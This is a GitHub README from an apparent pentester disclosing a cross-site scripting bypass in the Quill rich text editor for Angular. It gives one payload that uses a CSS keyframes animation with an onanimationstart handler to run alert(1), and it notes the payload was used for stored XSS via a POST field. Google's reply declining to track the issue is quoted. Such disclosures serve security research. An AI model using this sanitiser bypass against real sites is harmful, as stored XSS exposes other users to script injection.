Skip to content

ndrammer/XSS-in-quill-editor-Angular-framework-

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

XSS-in-quill-editor-Angular-framework

In a recent pentest I was able to execute a XSS in an Angular quill rich text editor .


Payload

<p><style>@keyframes x{}</style><strong style='animation-name:x' onanimationstart='alert(1)'></strong></p>

PoC

Lunch quill editor as a component in stackblitz.io platform and inject payload as shown in the image.

Angular XSS_quill-editor_full

Any other payloads are blocked, but not this one.

In a private pentest, attack was done in server side not just client side. The content of the message was inserted using a POST request using the description field, leading to a stored XSS.

XSS-ServerSide

This solution might be found in other implementations of quill editor.


Google Bug Hunter comments

"We've decided that the issue you reported is not severe enough for us to track it as a security bug".

About

XSS in quill editor (Angular framework)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors